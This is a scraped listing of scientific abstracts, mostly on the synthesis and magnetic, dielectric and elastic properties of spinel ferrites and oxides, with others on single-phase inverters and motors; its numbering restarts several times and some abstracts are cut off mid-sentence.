X-ray diffraction study confirmed the formation of spinel cubic ferrite structure of hot-press sintered spinel ferrite Co1-xZnxFe2O4 (x = 0.0 and 0.5) samples. The scanning electron microscopy image indicated that the growth and densification of smaller ferrite nanoparticles were higher than larger ferrite nanoparticles. Magnetic properties of sintered samples were investigated by the superconducting quantum interface device (SQUID) magnetometer at room temperature. The hot press sintered Co1-xZnxFe2O4 (x = 0.0 and 0.5) pellet samples exhibited magnetic properties dependent on the grain size of spinel ferrite particles. The maximum saturation magnetization 82.47 emu/g was obtained for Co0.5Zn0.5Fe2O4 hot press sintered sample of ball-milled ferrite particles. Further, the impact of grain size and density of sample on hardness, dielectric property and ac conductivity of hot-press sintered samples was investigated. In addition, the longitudinal wave velocity (Vl), transverse wave velocity (Vt), mean elastic wave velocity (Vm), bulk modulus (B), rigidity modulus (G), Young's modulus (E), Poisson ratio (σ) and Debye temperature (θD) were calculated. The elastic moduli of hot press sintered ferrite samples were corrected to zero porosity using Hosselman and Fulrath model. 12. Sonochemical synthesis of Gd3+doped CoFe2O4spinel ferrite nanoparticles and its physical properties. Science.gov (United States) Yadav, Raghvendra Singh; Kuřitka, Ivo; Vilcakova, Jarmila; Havlica, Jaromir; Kalina, Lukas; Urbánek, Pavel; Machovsky, Michal; Skoda, David; Masař, Milan; Holek, Martin 2018-01-01 In this work, a facile and green method for gadolinium doped cobalt ferrite (CoFe 2-x Gd x O 4 ; x=0.00, 0.05, 0.10, 0.15, 0.20) nanoparticles by using ultrasonic irradiation was reported. The impact of Gd 3+ substitution on the structural, magnetic, dielectric and electrical properties of cobalt ferrite nanoparticles was evaluated. The sonochemically synthesized spinel ferrite nanoparticles were characterized by X-ray Diffraction (XRD), scanning electron microscopy (SEM), Raman spectroscopy, Fourier transform infrared (FTIR) spectroscopy, X-ray photoelectron spectroscopy (XPS), vibrating sample magnetometer (VSM). X-ray diffraction (XRD) study confirmed the formation of single phase spinel ferrite of CoFe 2-x Gd x O 4 nanoparticles. XRD results also revealed that ultrasonic irradiation seems to be favourable to achieve highly crystalline single crystal phase gadolinium doped cobalt ferrite nanoparticles without any post annealing process. Fourier Transform Infrared and Raman Spectra confirmed the formation of spinel ferrite crystal structure. X-ray photoelectron spectroscopy revealed the impact of Gd 3+ substitution in CoFe 2 O 4 nanoparticles on cation distribution at the tetrahedral and octahedral site in spinel ferrite crystal system. The electrical properties showed that the Gd 3+ doped cobalt ferrite (CoFe 2-x Gd x O 4 ; x=0.20) exhibit enhanced dielectric constant (277 at 100Hz) and ac conductivity (20.2×10 -9 S/cm at 100Hz). The modulus spectroscopy demonstrated the impact of Gd 3+ substitution in cobalt ferrite nanoparticles on grain boundary relaxation time, capacitance and resistance. Magnetic property measurement revealed that the coercivity decreases with Gd 3+ substitution from 234.32Oe (x=0.00) to 12.60Oe (x=0.05) and further increases from 12.60Oe (x=0.05) to 68.62Oe (x=0.20). Moreover, saturation magnetization decreases with Gd 3+ substitution from 40.19emu/g (x=0.00) to 21.58emu/g (x=0.20). This work demonstrates that the grain size and cation 13. Current Harmonics from Single-Phase Grid-Connected Inverters DEFF Research Database (Denmark) Yang, Yongheng; Zhou, Keliang; Blaabjerg, Frede 2016-01-01 factor, or in the low voltage ride through mode with reactive current injection. In this paper, the mechanism of the harmonic current injection from grid-connected single-phase inverter systems is thus explored, and the analysis is conducted on single-phase PV systems. In particular, the analysis......-phase applications as a promising harmonic mitigation solution. Experiments on single-phase grid-connected systems have verified the correctness of the relevant analysis and also the effectiveness of the tailor-made control solution in terms of good harmonic mitigation.... 14. Effect of sintering temperature on micro structural and impedance spectroscopic properties of Ni0.5Zn0.5Fe2O4 nano ferrite Science.gov (United States) Venkatesh, Davuluri; Ramesh, K. V.; Sastry, C. V. S. S. 2017-07-01 Ni-Zn nanoferrite Ni0.5Zn0.5Fe2O4 is prepared by citrate gel auto combustion method and sintered at various temperatures 800, 900, 1000, 1100 and 1200°C. The room temperature x-ray diffraction conforms that the single phase spinel structure is formed. Crystallite size and density were increased with increasing of sintering temperature. From Raman spectroscopy all sintered samples are single phase with cubic spinel structure belong to Fd3m space group. From surface morphology studies it is clearly observed that the particle size increased with increasing of sintering temperature. Impedance spectroscopy revel that increasing of conductivity is due to grain resistance is decreased with increasing of sintering temperature. Cole-Cole plots are studied from impedance data. The electrical modulus analysis shows that non-Debye nature of Ni0.5Zn0.5Fe2O4 ferrite. 15. Synthesis and characterization of nanocrystalline MgAl{sub 2}O{sub 4} spinel via modified sol–gel method Energy Technology Data Exchange (ETDEWEB) Sanjabi, S., E-mail: [email protected]; Obeydavi, A. 2015-10-05 Highlights: • Nanocrystallines of MgAl{sub 2}O{sub 4} were synthesis by the simple, short time and inexpensive sol–gel method. • The structure properties of MgAl{sub 2}O{sub 4} nanoparticles obtained was excellent including. • The average crystallite’s sizes spinel and specific surface area were estimated about 11.07 nm and 154 m{sup 2} g{sup −1}. • The nanoparticles sizes were about 12 nm and have mesoporous structure. • MgAl{sub 2}O{sub 4} nanopowders with these structure properties are suitable as catalyst supports. - Abstract: Nanocrystallines of magnesium aluminate spinel (MgAl{sub 2}O{sub 4}) were synthesis by modified sol–gel method using aluminum nitrate, magnesium nitrate, citric acid and diethylene glycol monoethyl ether were used as precursor materials with a molar ratio Al/Mg = 2. After obtained a dry powder, the precursor was heat-treated in air at desired temperatures (700–900 °C) for 2 h. The formation nanocrystallines of MgAl{sub 2}O{sub 4} spinel were characterization by X-ray diffraction (XRD), Fourier transform infrared spectroscopy (FTIR), Thermal gravimetric and differential thermal analysis (TGA/DTA), Field emission scanning electron microcopy (FESEM) with the energy dispersive X-ray spectroscopy (EDX), High resolution transmission electron microscopy (HRTEM) and specific surface area of the synthesized powders was measured with a Brunauer–Emmett–Teller (BET) apparatus using N{sub 2} adsorption. According to obtained XRD patterns the formation of single phase MgAl{sub 2}O{sub 4} completed up 700 °C. The average crystallite’s sizes increased with increasing temperature of calcination, but the specific surface area spinels decreased. The average crystallite’s sizes spinel and specific surface area at 800 °C were estimated about 11.07 nm and 154 m{sup 2} g{sup −1}, respectively. The results of FESEM analysis show that the nanoparticles shape are as spherical shape, uniform and a little agglomerated. The dimension 16. Self-assembled single-phase perovskite nanocomposite thin films. Science.gov (United States) Kim, Hyun-Suk; Bi, Lei; Paik, Hanjong; Yang, Dae-Jin; Park, Yun Chang; Dionne, Gerald F; Ross, Caroline A 2010-02-10 Thin films of perovskite-structured oxides with general formula ABO(3) have great potential in electronic devices because of their unique properties, which include the high dielectric constant of titanates, (1) high-T(C) superconductivity in cuprates, (2) and colossal magnetoresistance in manganites. (3) These properties are intimately dependent on, and can therefore be tailored by, the microstructure, orientation, and strain state of the film. Here, we demonstrate the growth of cubic Sr(Ti,Fe)O(3) (STF) films with an unusual self-assembled nanocomposite microstructure consisting of (100) and (110)-oriented crystals, both of which grow epitaxially with respect to the Si substrate and which are therefore homoepitaxial with each other. These structures differ from previously reported self-assembled oxide nanocomposites, which consist either of two different materials (4-7) or of single-phase distorted-cubic materials that exhibit two or more variants. (8-12) Moreover, an epitaxial nanocomposite SrTiO(3) overlayer can be grown on the STF, extending the range of compositions over which this microstructure can be formed. This offers the potential for the implementation of self-organized optical/ferromagnetic or ferromagnetic/ferroelectric hybrid nanostructures integrated on technologically important Si substrates with applications in magnetooptical or spintronic devices. 17. MPC of Single Phase Inverter for PV System OpenAIRE Irtaza M. Syed; Kaamran Raahemifar 2014-01-01 This paper presents a model predictive control (MPC) of a utility interactive (UI) single phase inverter (SPI) for a photovoltaic (PV) system at residential/distribution level. The proposed model uses single-phase phase locked loop (PLL) to synchronize SPI with the grid and performs MPC control in a dq reference frame. SPI model consists of boost converter (BC), maximum power point tracking (MPPT) control, and a full bridge (FB) voltage source inverter (VSI). No PI regula... 18. Single-phase to three-phase power conversion interface Science.gov (United States) Wu, Jinn-Chang; Wang, Yung-Shan; Jou, Hurng-Liahng; Lu, Wei-Tso 2016-07-01 This study proposes a single-phase to three-phase power conversion interface which converts the power from a single-phase utility to three-phase power for a three-phase load. The proposed single-phase to three-phase power conversion interface comprises a bridge-type switch set, a set of three-phase inductors, a transformer set and a set of three-phase capacitors. A current-mode control controls the switching of bridge-type switch set, to generate a set of nonzero-sequence (NZS) currents and a set of zero-sequence (ZS) currents. The transformer set is used to decouple the NZS currents and the ZS currents. The NZS currents are used to generate a high-quality three-phase voltage that supplies power to a three-phase load. The ZS currents flow to the single-phase utility so that the utility current is sinusoidal and in phase with the utility voltage. Accordingly, only a bridge-type switch set is used in the single-phase to three-phase power conversion interface to simply the power circuit. A prototype is developed and tested to verify the performance of the proposed single-phase to three-phase power conversion interface. 19. Structural relaxation and colour in the spinel-magnesiochromite (MgAl2O4-MgCr2O4) and gahnite-zincochromite (ZnAl2O4-ZnCr2O4) solid solution series Science.gov (United States) Hålenius, U.; Andreozzi, G. B.; Skogby, H. 2009-04-01 Recent studies on binary mineral solid solution series utilising synchrotron based x-ray absorption spectroscopies have indicated strong structural relaxation. For instance, it has been suggested that the real Cr-O bond distances remain nearly constant (relaxation parameter (É) of 0.85, where É=1 equals full relaxation) over the entire compositional range of the MgAl2O4-MgCr2O4 series (Juhin et al. 2007). In the present study we have measured room temperature optical absorption spectra of synthetic single crystals of the ZnAl2-2xCr2xO4 (0.03?x?1) and MgAl2-2xCr2xO4(0.02?x?1) series with the aim to explore the real architecture of the structure and in particular the Cr-O distance as function of composition. Our crystals were synthesized by means of flux-growth methods under atmospheric pressure and temperature profiles resulting in an estimated cation ordering temperature of ca 850 °C. Crystals close to the spinel (sensu stricto) and gahnite end-member compositions were faintly red in colour. With increasing Cr-content the crystals become more intensely red-coloured and at the higher Cr-contents there is a distinct shift towards a dark greenish colouration. These colour changes are reflected in the measured optical spectra by the position and intensity of the two spin-allowed electronic d-d transitions in octahedrally coordinated Cr3+ at ca 18000 (4A2g -4T2g (4F) transition) and 25000 cm-1(4A2g -4T1g (4F) transition). The energy of the first transition (?1-band) is ca 1200 cm-1 lower in magnesiochromite than in weakly Cr-doped spinel (x=0.02) and ca 1400 cm-1 lower in zincochromite than in gahnite with the lowest Cr-content (x=0.03). Concomitantly the energy of the second transition (?2-band) decreases with increasing Cr-content in both series by ca. 1800 cm-1. From the position of the ?1-band, a decrease in crystal field splitting, 10Dq, for six-coordinated Cr3+ with increasing Cr-content in the MgAl2-2xCr2xO4 and ZnAl2-2xCr2xO4 series of 6.5 and 7 20. Structural ground states of (A ,A')Cr2O4(A = Mg, Zn; A' = Co, Cu) spinel solid solutions: Spin-Jahn-Teller and Jahn-Teller effects Science.gov (United States) Kemei, Moureen C.; Moffitt, Stephanie L.; Darago, Lucy E.; Seshadri, Ram; Suchomel, Matthew R.; Shoemaker, Daniel P.; Page, Katharine; Siewenie, Joan 2014-05-01 We examine the effect of small amounts of magnetic substituents in the A sites of the frustrated spinels MgCr2O4 and ZnCr2O4. Specifically, we look for the effects of spin and lattice disorder on structural changes accompanying magnetic ordering in these compounds. Substitution of Co2+ on the nonmagnetic Zn2+ site in Zn1-xCoxCr2O4 where 0 occurs at very low temperatures of T occurring below 20 K without any further lattice distortion. The Jahn-Teller distorted solid solutions Mg1-xCuxCr2O4 and Zn1-xCuxCr2O4 adopt the orthorhombic Fddd structure of ferrimagnetic CuCr2O4. Total neutron scattering studies of Zn1-xCuxCr2O4 suggest that there are local AO4 distortions in these Cu2+-containing solid solutions at room temperature and that these distortions become cooperative when average structure distortions occur. Magnetism evolves from compensated antiferromagnetism in MgCr2O4 and ZnCr2O4 to uncompensated antiferromagnetism with substitution of magnetic cations on the nonmagnetic cation sites of these frustrated compounds. The sharp heat capacity anomalies associated with the first-order spin-Jahn-Teller transitions of MgCr2O4 and ZnCr2O4 become broad in Mg1-xCuxCr2O4, Zn1-xCoxCr2O4, and Zn1-xCuxCr2O4 when x > 0. We present a temperature-composition phase diagram summarizing the structural ground states and magnetic properties of the studied spinel solid solutions. 1. Magnesia-spinel bricks for secondary refining furnaces; Niji seirenyo magnesia-spinel shitsu renga no kaihatsu Energy Technology Data Exchange (ETDEWEB) Fujitani, S.; Ogata, M.; Nakamura, R.; Ito, K.; Otani, T. [Shinagawa Refractories Co. Ltd., Tokyo (Japan) 1998-01-01 A magnesia-spinel brick is developed in this report as an environmentally-friendly chromium-free refractory to replace the magnesia-chrome brick widely in use for secondary refining furnaces. In the case of the magnesia-spinel brick for cement kilns, the bond structure is improved and anti-corrosion strength enhanced when crystal grain boundaries are allowed to be impregnated with small amounts of Fe2O3 and TiO2. This method is applied also in the development of the secondary refining furnace brick introduced in this paper, and is executed to attain higher resistance to corrosion by using electromelting materials for the magnesia aggregate. As the result, a brick is developed, in which there is direct bond found well developed between periclase and spinel grains. Since a material containing more Al2O3 or spinel is higher in anti-spalling feature but lower in anti-corrosion feature, balancing should be prudently established between the two features in view of the conditions of the intended application. It is further anticipated that, except in cases where a severe attack of erosion is expected in the presence of low-basicity slag, the newly developed magnesia-spinel brick will remain in service as long as the conventional magnesia-chrome brick. 2 refs., 5 figs., 3 tabs. 2. Cr(3+) substituted spinel ferrite nanoparticles with high coercivity. Science.gov (United States) Zhang, Wei; Zuo, Xudong; Zhang, Dongmei; Wu, Chengwei; Silva, S Ravi P 2016-06-17 The low coercivity of spinel ferrites is a major barrier that significantly limits their use in high density magnetic recording applications. By controlling the substituting content of Cr(3+), in this article we describe how magnetic CoCr x Fe2-x O4 (0 spinel structure of the nanoparticles with transmission electron microscopy (TEM) suggesting regular tetragonal morphology. The TEM indicated an edge length ranging from 15 nm to 150 nm, which increases monotonically with increasing Cr content. Raman analyses supported the proposed model on the formation mechanism of the nanoparticles, i.e. heterogeneous and homogeneous nucleation. 3. Method of microbially producing metal gallate spinel nano-objects, and compositions produced thereby Energy Technology Data Exchange (ETDEWEB) Duty, Chad E.; Jellison, Jr., Gerald E.; Love, Lonnie J.; Moon, Ji Won; Phelps, Tommy J.; Ivanov, Ilia N.; Kim, Jongsu; Park, Jehong; Lauf, Robert 2018-01-16 A method of forming a metal gallate spinel structure that includes mixing a divalent metal-containing salt and a gallium-containing salt in solution with fermentative or thermophilic bacteria. In the process, the bacteria nucleate metal gallate spinel nano-objects from the divalent metal-containing salt and the gallium-containing salt without requiring reduction of a metal in the solution. The metal gallate spinel structures, as well as light-emitting structures in which they are incorporated, are also described. 4. A Novel Single Phase Hybrid Switched Reluctance Motor Drive System DEFF Research Database (Denmark) Liang, Jianing; Xu, Guoqing; Jian, Linni 2011-01-01 phase boost converter is applied to improve the performance of this motor. It is easy to generate a double dclink voltage and dc-link voltage and switch both of them. The voltage of boost capacitor is self balance, so the protective circuit is not need to consider. The fast excitation mode helps hybrid......In this paper, a novel single phase hybrid switched reluctance motor(SRM) drive system is proposed. It integrated a single phase hybrid SRM and a novel single phase boost converter. This motor can reduce the number of phase switch. And the permanent magnet which is used in the motor can improve...... the performance and efficiency of SR motor. However, the inherent characteristic of this motor is that the negative torque is very sensitive with the excitation current near the turn-on angle. The slow excitation current limits the torque generation region and reduces the average torque. Therefore, a novel single... 5. Effect of Mn doping on the electronic structure of ZnGa{sub 2}O{sub 4} with spinel-type structure Energy Technology Data Exchange (ETDEWEB) Nonaka, Moriyasu [Department of Earth Resources Engineering, Kyushu Univ., Fukuoka (Japan); Tanizaki, Takumi; Matsushima, Shigenori [Department of Materials Chemistry, Kitakyushu National College of Technology, Kitakyushu, Fukuoka (Japan); Mizuno, Masataka [Department of Materials Science and Engineering, Osaka Univ., Osaka (Japan); Xu, Chao-Nan [National Institute of Advanced Industrial Science and Technology (AIST), Fukuoka (Japan) 2001-07-01 The electronic structures of ZnGa{sub 2}O{sub 4} and ZnGa{sub 2}O{sub 4}:Mn are calculated by the discrete variational X{alpha} method on model clusters. For ZnGa{sub 2}O{sub 4}, it is found that Zn-O and Ga-O bondings are not perfectly ionic but partially covalent. When a central Zn atom of the cluster is replaced with a Mn atom, the new energy states originating from Mn 3d orbitals appear in the energy gap. The energy levels of t{sub 2} up-spin states and e downspin states seem to relate to the green emission. (author) 6. Ultrafast Switching Superjunction MOSFETs for Single Phase PFC Applications DEFF Research Database (Denmark) Hernandez Botella, Juan Carlos; Petersen, Lars Press; Andersen, Michael A. E. 2014-01-01 This paper presents a guide on characterizing state-of-the-art silicon superjunction (SJ) devices in the 600V range for single phase power factor correction (PFC) applications. The characterization procedure is based on a minimally inductive double pulse tester (DPT) with a very low intrusive...... investigates the latest SJ devices in order to set a reference for future research on improvement over silicon (Si) attained with the introduction of wide bandgap devices in single phase PFC applications. The obtained results show that the latest generation of SJ devices set a new benchmark for its wide... 7. The Single-Phase ProtoDUNE Technical Design Report Energy Technology Data Exchange (ETDEWEB) Abi, B. [Univ. of Padova (Italy); et al. 2017-06-21 ProtoDUNE-SP is the single-phase DUNE Far Detector prototype that is under construction and will be operated at the CERN Neutrino Platform (NP) starting in 2018. ProtoDUNE-SP, a crucial part of the DUNE effort towards the construction of the first DUNE 10-kt fiducial mass far detector module (17 kt total LAr mass), is a significant experiment in its own right. With a total liquid argon (LAr) mass of 0.77 kt, it represents the largest monolithic single-phase LArTPC detector to be built to date. It's technical design is given in this report. 8. The comparative study of the structural and the electrical properties of the nano spinel ferrites prepared by the soft mehanochemical synthesis Directory of Open Access Journals (Sweden) Sekulić D.L. 2014-01-01 Full Text Available Nano spinel ferrites MFe2O4 (M=Ni, Mn, Zn were obtained by soft mechanochemical synthesis in a planetary ball mill. The appropriate mixture of oxide and hydroxide powders was used as initial compounds. All of this mixture of powders was mechanically activated, uniaxial pressed and sintered at 1100°C/2h. The phase composition of the powders and sintered samples were analyzed by XRD and Raman spectroscopy. Morphologies were examined by SEM. In this study, the AC-conductivity and DC-resistivity of sintered samples of MFe2O4 (M= Ni, Mn, Zn ferrites were measured at different frequencies and at room temperature. The values of the electrical conductivities show an increase with increasing temperature, which indicated the semiconducting behavior of the studied ferrites. The conduction phenomenon of the investigated samples could be explained on the basis of hopping model. The complex impedance spectroscopy analysis was used to study the effect of grain and grain boundary on the electrical properties of all three obtained ferrites [Projekat Ministarstva nauke Republike Srbije, br. III 45003 9. Magnetic structure and phase diagram of the frustrated spinel Cd{sub 1-x}Zn{sub x}Cr{sub 2}Se{sub 4} Energy Technology Data Exchange (ETDEWEB) Loudghiri, E. [Laboratoire de Physique des Materiaux, Faculte des Sciences, Universite Mohammed V, B.P. 1014 Rabat (Morocco); Belayachi, A. [Laboratoire de Physique des Materiaux, Faculte des Sciences, Universite Mohammed V, B.P. 1014 Rabat (Morocco)], E-mail: [email protected]; Nogues, M. [Laboratoire de Magnetisme et d' Optique de l' Universite de Versailles (URA 1531), Batiment, Fermat, 45 Avenue des Etats Unis, 78035 Versailles Cedex (France); Taibi, M. [Laboratoire de Physico-Chimie des Materiaux associe a l' AUF (LAF 502), Ecole Normale, Superieure Takadoum, B.P. 5118 Rabat (Morocco); Cruz, M.M.; Godinho, M. [Dept. Fisica/CFMC-UL, Fac. Ciencias, Universidade de Lisboa, Campo Grande, Ed.C8, 1749-016 Lisbon (Portugal) 2008-03-15 In attempt to characterise the magnetic ordering in the whole composition range of the Cd{sub 1-x}Zn{sub x}Cr{sub 2}Se{sub 4} system, various magnetic measurements were performed on both crystalline and polycrystalline samples with 0{<=}x{<=}1. The magnetic properties of the system are typical of a ferromagnet below x=0.4 and of a complex antiferromagnet one above x=0.6. In this work the intermediate region was carefully studied. The variations of both M(T) and {chi}{sub ac} at low fields suggest that transitions from ferromagnetic to Gabay-Toulouse ferromagnetic-spin-glass mixed phase at low temperature occur in the range 0.41{<=}x{<=}0.58. The high-temperature susceptibility measurements show that for the whole concentration range the system obeys Curie-Weiss laws. The results can be explained by the coexistence of competing interactions (ferromagnetic between nearest neighbours and antiferromagnetic between higher order neighbours) and disorder due to the random substitution between zinc and cadmium ions in the tetrahedral sites of the spinel lattice. An experimental magnetic phase diagram of the system is established. 10. Low Temperature Synthesis of Magnesium Aluminate Spinel International Nuclear Information System (INIS) Lebedovskaya, E.G.; Gabelkov, S.V.; Litvinenko, L.M.; Logvinkov, D.S.; Mironova, A.G.; Odejchuk, M.A.; Poltavtsev, N.S.; Tarasov, R.V. 2006-01-01 The low-temperature synthesis of magnesium-aluminum spinel is carried out by a method of thermal decomposition in combined precipitated hydrates. The fine material of magnesium-aluminium spinel with average size of coherent dispersion's area 4...5 nanometers is obtained. Magnesium-aluminum spinel and initial hydrates were investigated by methods of the differential thermal analysis, the x-ray phase analysis and measurements of weight loss during the dehydration and thermal decomposition. It is established that synthesis of magnesium-aluminum spinel occurs at temperature 300 degree C by method of the x-ray phase analysis 11. the steady-state performance characteristics of single phase transfer African Journals Online (AJOL) 2012-11-03 Nov 3, 2012 ... The paper reports the derivation of the steady- state equivalent circuit of a single phase transfer ... series opposition between the two halves of the ma- ..... from its equivalent circuit of fig 6 for different values of slip. Impedance due to forward field. Zf = Rf + jXf = Rr. 2(2s - 1). + jxr. 2. (19) in parallel with jxm. 2. 12. An Asymmetrical Space Vector Method for Single Phase Induction Motor DEFF Research Database (Denmark) Cui, Yuanhai; Blaabjerg, Frede; Andersen, Gert Karmisholt 2002-01-01 Single phase induction motors are the workhorses in low-power applications in the world, and also the variable speed is necessary. Normally it is achieved either by the mechanical method or by controlling the capacitor connected with the auxiliary winding. Any above method has some drawback which... 13. Improvement of Torque Production in Single-Phase Induction Motors ... African Journals Online (AJOL) Existing single phase induction motors exhibit low starting torque. Moreover, during accelerating time and at steady state, they produce a significant level of torque pulsations which gives rise to noise and vibration in the machine. As part of efforts to mitigate these problems, a performance improvement strategy using a PWM ... 14. A simple output voltage control scheme for single phase wavelet ... African Journals Online (AJOL) DR OKE Wavelet based techniques have been extensively used in various power engineering applications. Recently, wavelet has also been proposed to generate switching signal for single-phase pulse-width-modulated (PWM) dc-ac inverter. The main advantage of the wavelet modulated (WM) scheme is that a single synthesis ... 15. experimental implementation of single-phase, three-level, sinusoidal African Journals Online (AJOL) Experimental Implementation of SPWM VSI with R-L Load. 3. Figure 2: Switching pattern of the proposed single-phase, three-level PWM inverter. Figure 3: Prototype setup. (a) Power circuits for both inverters. (b) Logic and Driver circuits. Nigerian Journal of Technology. Vol. 31, No. 1, March 2012. 16. A single phase photovoltaic inverter control for grid connected system This paper presents a control scheme for single phase grid connected photovoltaic (PV) system operating under both grid connected and isolated grid mode. The control techniques include voltage and current control of grid-tie PV inverter. During grid connected mode, grid controls the amplitude and frequency of the PV ... 17. Load compensation for single phase system using series active filter ... African Journals Online (AJOL) In this paper a new control strategy for series active filter has been proposed for improvement of power quality problems in single phase system. Since the non linear loads in the system comprises of both voltage source harmonic and current source harmonic loads and the dominancy of each type of load varies from time to ... 18. Low temperature synthesis of magnesium oxide and spinel powders by a sol-gel process Directory of Open Access Journals (Sweden) Li-Zhai Pei 2010-09-01 Full Text Available Magnesium oxide and magnesium aluminate (MgAl2O4 spinel (MAS powders have been synthesized by a simple aqueous sol-gel process using citrate polymeric precursors derived from magnesium chloride, aluminium nitrate and citrate. The thermal decomposition of the precursors and subsequent formation of cubic MgO and MAS were investigated by X-ray diffraction (XRD, scanning electron microscopy (SEM, thermogravimetry-differential scanning calorimetry (TG-DSC and Fourier transform infrared spectra (FTIR. The single phase cubic MgO powder and MAS powder form after heat treatment at 800 and 1200 °C, respectively. The particle size of the MgO and MAS powders is about 100 nm and several micrometers, respectively. Ball milling eliminates the size of MgO and MgAl2O4 spinel powders by decreasing the conglomeration of the powders. 19. 100-nm thick single-phase wurtzite BAlN films with boron contents over 10% KAUST Repository Li, Xiaohang 2017-01-11 Growing thicker BAlN films while maintaining single-phase wurtzite structure and boron content over 10% has been challenging. In this study, we report on the growth of 100 nm-thick single-phase wurtzite BAlN films with boron contents up to 14.4% by MOCVD. Flow-modulated epitaxy was employed to increase diffusion length of group-III atoms and reduce parasitic reactions between the metalorganics and NH3. A large growth efficiency of ∼2000 μm mol−1 was achieved as a result. Small B/III ratios up to 17% in conjunction with high temperatures up to 1010 °C were utilized to prevent formation of the cubic phase and maintain wurtzite structure. 20. Micro structural, electrical and optical properties of highly (2 2 0) oriented spinel Mn–Co–Ni–O film grown by radio frequency magnetron sputtering Energy Technology Data Exchange (ETDEWEB) Zhou, Wei; Zhang, Leibo; Ouyang, Cheng; Wu, Jing [National Laboratory for Infrared Physics, Shanghai Institute of Technical Physics, Chinese Academy of Sciences, 500 Yu Tian Road, Shanghai 200083 (China); Huang, Zhiming, E-mail: [email protected] [National Laboratory for Infrared Physics, Shanghai Institute of Technical Physics, Chinese Academy of Sciences, 500 Yu Tian Road, Shanghai 200083 (China); Key Laboratory of Space Active Opto-Electronics Technology, Shanghai Institute of Technical Physics, Chinese Academy of Sciences, 500 Yu Tian Road, Shanghai 200083 (China); Xu, Xiao-feng [College of science, Donghua Unversity, Shanghai (China) 2014-08-30 Highlights: • Highly (2 2 0) oriented Mn{sub 1.4}Co{sub 1.0}Ni{sub 0.6}O{sub 4} (MCN) films are grown by radio frequency sputtering method. • Post annealed MCN samples show a resistivity of 240–250 Ω cm and NTC value of 4% K{sup −1} at 295 K. • Improved oxygen stoichiometry and fine reproducibility are achieved after post annealing process. • Indirect optical band gaps are about 0.51 eV for as-grown MCN films and 0.57 eV for post annealed ones. - Abstract: Spinel AB{sub 2}O{sub 4} oxide Mn{sub 1.4}Co{sub 1.0}Ni{sub 0.6}O{sub 4} (MCN) films are fabricated on Al{sub 2}O{sub 3} amorphous substrate by radio frequency (RF) magnetron sputtering method at different sputtering powers. The surface morphology and microstructure of the films are studied by SEM, atomic force microscopy (AFM) and X-ray diffraction. A major advance is the sputtering deposition of highly oriented MCN thin films. Variable temperature electrical properties of the as-grown and post annealed samples are investigated in 230–325 K temperature range. The dependence of electrical properties on growth conditions is discussed in detail. The resistivity of annealed MCN films is about 240–250 Ω cm with a negative temperature coefficient of about 4% K{sup −1} at room temperature, which is a breakthrough for thermal sensing application by RF sputtering method. Optical properties of the MCN samples are studied within 0.33-10 μm band, and the optical bandgaps for the as-grown and post annealed MCN samples are about 0.51 eV and 0.57 eV, respectively. 1. Physical investigation of square cylinder array dynamical response under single-phase cross-flow International Nuclear Information System (INIS) Longatte, E.; Baj, F. 2014-01-01 Fluid structure interaction and flow-induced vibration in square cylinder arrangement under single-phase incompressible laminar cross flow are investigated in the present paper. Dynamic instability governed by damping generation is studied without any consideration about mixing with turbulence effects. Conservative and non-conservative effects are pointed out and dynamical stability limit sensitivity to physical parameters is analyzed. Finally the influence of key physical parameters on fluid solid dynamics interaction is quantified. (authors) 2. Magnetism of the ball-milled spinel Zn Fe2 O4 International Nuclear Information System (INIS) Ehrhardt, H.; Campbell, S.J.; Hofmann, M. 2002-01-01 Full text:In materials science, oxide spinels play an important technological role with numerous applications due to their fundamental magnetic characteristics. With the spinel crystal structure being an approximately close-packed face-centered cubic array of anions with holes partly filled by the cations, the structure can generally be described by the formula (A)[B 2 ]O 4 where A and B denote divalent and trivalent cations, respectively. In the case of a normal spinel, all of the A atoms are tetrahedrally coordinated while the B atoms are octahedrally coordinated by oxygen atoms; in the case of an inverse spinel, the A atoms occupy half of the B sites. With Fe representing the B atoms, normal spinels are commonly found to order antiferromagnetically whereas they show ferrimagnetic behaviour in the case of an inverse spinel below the transition temperature. However, natural spinels often emerge with other than purely normal or purely inverse distributions of cations. The site occupation can then be represented by (A 1-c B c )[A c B 2-c ]O 4 where c is the inversion parameter (O 2 O 4 , which occurs as a purely normal spinel in its natural state of matter, has been investigated as a model system. Treated by milling, zinc ferrite exhibits a systematic transition from its normal structure towards the inverse counterpart. In particular an increase in c value is observed with increasing milling time along with a decrease of the average particle size as determined by X-ray diffraction. Moessbauer spectroscopy and temperature-dependent neutron diffraction on an extended series of ball-milled samples allow a detailed characterization of the magnetic behaviour as a function of the microstructure. The comprehensive set of results will be discussed with respect to theoretical predictions of the magnetism of spinels in relation to their degree of inversion 3. Single-crystal elasticity of MgAl2O4-spinel up to 10.9 GPa and 1000 K: Implication for the velocity structure of the top upper mantle Science.gov (United States) Duan, Yunfei; Li, Xinyang; Sun, Ningyu; Ni, Huaiwei; Tkachev, Sergey N.; Mao, Zhu 2018-01-01 The combined effect of pressure and temperature on the single-crystal elasticity of MgAl2O4-spinel has been studied using Brillouin scattering and X-ray diffraction up to 10.9 GPa and 1000 K in externally-heated diamond anvil cells. The obtained single-crystal elastic moduli of MgAl2O4-spinel at ambient conditions are consistent with literature values and follow a linear increase with pressure at high temperatures. More importantly, the pressure dependence of the elastic moduli at high temperatures is much smaller than that at 300 K, indicating a stronger temperature effect on the elastic moduli of MgAl2O4-spinel at high pressures. Our new results were applied to model the sound velocity of MgAl2O4-spinel at relevant pressure and temperature conditions of the top upper mantle, showing that MgAl2O4-spinel has the greatest velocity and the VP /VS ratio among major mantle minerals. We further modeled the velocity of spinel-peridotite at the top upper mantle. Varying the composition of spinel-peridotite can lead to up to 2.1% variation in VP and 1.3% in VS. The top upper mantle with greater VP and VS should contain more olivine and spinel but less orthopyroxene. The velocity of the top upper mantle is thus strongly correlated with the composition of the region. Our results are thus important in understanding the composition and velocity of the top upper mantle. 4. Raman spectroscopic study of solid solution spinel oxides Science.gov (United States) Hosterman, Brian D. Solid solution spinel oxides of composition MgxNi1-x Cr2O4, NiFexCr2-xO 4, and FexCr3-xO4 were synthesized and characterized using x-ray diffraction and Raman spectroscopy. Frequencies of the Raman-active modes are tracked as the metal cations within the spinel lattice are exchanged. This gives information about the dependence of the lattice vibrations on the tetrahedral and octahedral cations. The highest frequency Raman-active mode, A1g, is unaffected by substitution of the divalent tetrahedral cation, whereas the lower frequency vibrations are more strongly affected by substitution of the tetrahedral cation. The change in frequency of many phonons is nonlinear upon cation exchange. All detected modes of MgxNi1-xCr2O4 and FexCr3-xO4 exhibit one-mode behavior. Additional modes are detected in NiFexCr2-xO4 due to cation 